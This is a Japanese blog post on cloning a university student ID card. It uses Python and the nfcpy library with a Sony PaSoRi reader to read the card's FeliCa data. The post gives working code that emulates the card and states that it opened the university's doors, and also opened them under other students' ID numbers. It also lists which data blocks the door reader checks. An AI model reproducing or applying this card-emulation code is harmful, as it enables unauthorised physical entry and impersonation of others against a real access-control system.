前回のあらすじ
windowsでのセットアップと簡単な使い方について扱った。
学生証を偽造してうちの大学のドアシステムを突破する
導入
まず、前提としてうちの大学の一部の扉は学生証をかざさないと開かないシステムになっている。
前、学生証を忘れてゼミ室に入れず何もせず帰ったことがあった。
学生証の情報を読み取る
import nfc
def on_connect(tag: nfc.tag.Tag) -> None:
print("\n".join(tag.dump()))
with nfc.ContactlessFrontend("usb") as clf:
clf.connect(rdwr={"on-connect": on_connect})
python dump.py
うちの学生証では以下のようになる
System 8E3A (unknown)
Area 0000--FFFE
Random Service 1012: write with key (0xFD08)
System FE00 (Common Area)
Area 0000--FFFE
Area 1A80--1AFF
Area 1A81--1AFF
Random Service 106: write with key & read w/o key (0x1A88 0x1A8B)
0000: 30 31 54 XX XX XX XX XX XX 00 00 00 00 00 30 00 |01TXXXXXX.....0.|
0001: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
0002: 32 33 30 31 32 31 37 33 32 30 32 32 30 34 30 31 |2301217320220401|
0003: 39 39 39 39 31 32 33 31 36 30 30 46 30 35 37 37 |99991231600F0577|
Area 1B00--1B3F
Area 1B01--1B3F
Random Service 108: write with key & read with key (0x1B08 0x1B0A)
Area 1B40--1B7F
Area 1B41--1B7F
Random Service 109: write with key & read with key (0x1B48 0x1B4A)
Area 42C0--42FF
Area 42C1--42FF
Random Service 267: write with key & read with key (0x42C8 0x42CA)
Area 4300--433F
Area 4301--433F
Random Service 268: write with key & read with key (0x4308 0x430A)
Area 4340--437F
Area 4341--437F
Random Service 269: write with key & read w/o key (0x4348 0x434B)
0000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
* 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
0002: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
Xの場所には学籍番号が入る
ここで注目すべきは以下である
System FE00 (Common Area)
情報が存在するエリアを示している
Random Service 106: write with key & read w/o key (0x1A88 0x1A8B)
0000: 30 31 54 XX XX XX XX XX XX 00 00 00 00 00 30 00 |01TXXXXXX.....0.|
0001: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
0002: 32 33 30 31 32 31 37 33 32 30 32 32 30 34 30 31 |2301217320220401|
0003: 39 39 39 39 31 32 33 31 36 30 30 46 30 35 37 37 |99991231600F0577|
学籍番号と発行日(?)、有効期限(?)が表示されている
書き込み偽装編
pasoriを書き込みモードとして学生証に偽装させる
nfc側がどんな情報を要求しているのかを確認する
以下偽装用のコード
import nfc
SYSTEM_CODE = 0xFE00 # エミュレーションする System Code
SERVICE_CODES = {
0x0000: {
0: b"\x00" * 16,
1: b"01TXXXXXX\x00\x00\x00\x00\x00\x30\x00", # 任意の学籍番号
},
0x0001: {
0: b"\x00" * 16,
},
0x0002: {
0: b"2301217320230401",
},
0x0003: {
0: b"\x00" * 16,
},
0x1A8B: {
0: b"\x00" * 16,
1: b"\x00" * 16,
2: b"\x00" * 16,
3: b"\x00" * 16,
},
}
def on_startup(target):
target.sensf_res = bytearray.fromhex('01' + 'XXXXXXXXXXX' + 'XXXXXXXXXXXXX' + f"{SYSTEM_CODE:04X}")
target.brty = "212F"
return target
def service_read(service_code, block_number, *args):
return SERVICE_CODES.get(service_code, {}).get(block_number, b"\x00" * 16)
def service_write(service_code, block_number, block_data, *args):
if service_code in SERVICE_CODES and block_number in SERVICE_CODES[service_code]:
SERVICE_CODES[service_code][block_number] = block_data
print(f"`Service Write`: SC=0x{service_code:04X}, Block={block_number}, wb={wb}, we={we}")
return True
return False
def on_connect(tag):
for service_code in SERVICE_CODES:
tag.add_service(service_code, service_read, service_write)
return True
with nfc.ContactlessFrontend('usb') as clf:
print("\n接続待機中...")
while True:
try:
clf.connect(card={'on-startup': on_startup, 'on-connect': on_connect})
except Exception as e:
print(f"エラー: {e}")
以下の部分によりどこの情報が要求されているのか確認出来る
def service_write(service_code, block_number, block_data, *args):
if service_code in SERVICE_CODES and block_number in SERVICE_CODES[service_code]:
SERVICE_CODES[service_code][block_number] = block_data
print(f"`Service Write`: SC=0x{service_code:04X}, Block={block_number}, wb={wb}, we={we}")
return True
return False
以下の部分のコードも設定する必要がある。前回で説明している。
def on_startup(target):
target.sensf_res = bytearray.fromhex('01' + 'XXXXXXXXXXX' + 'XXXXXXXXXXXXX' + f"{SYSTEM_CODE:04X}")
target.brty = "212F"
return target
以下の場所を修正することにより、偽装することが出来る。
SYSTEM_CODE = 0xFE00 # エミュレーションする System Code
SERVICE_CODES = {
0x0000: {
0: b"\x00" * 16,
1: b"01TXXXXXX\x00\x00\x00\x00\x00\x30\x00", # 任意の学籍番号
},
0x0001: {
0: b"\x00" * 16,
},
0x0002: {
0: b"2301217320230401",
},
0x0003: {
0: b"\x00" * 16,
},
0x1A8B: {
0: b"\x00" * 16,
1: b"\x00" * 16,
2: b"\x00" * 16,
3: b"\x00" * 16,
},
}
私は上記のコードで開けることが出来た。
他人の学籍番号を知っていれば任意の学籍番号を設定し、そのものが持っている権限の範囲内のドアを開けることも出来た。
何回も情報を削っていると、うちの学生証では、0xFE00の0x0000の1の学籍番号と発行日(?)、0x0001,0x0003,0x1A8Bに何かしらの情報が入ってることが条件となっていることが分かった。
今の気分が乗らないだけなのでもしかしたら要約したものをいつか書くかもしれない
NFCについて更に細かいことはドキュメントを読んでほしい
ちなみに某C0Mである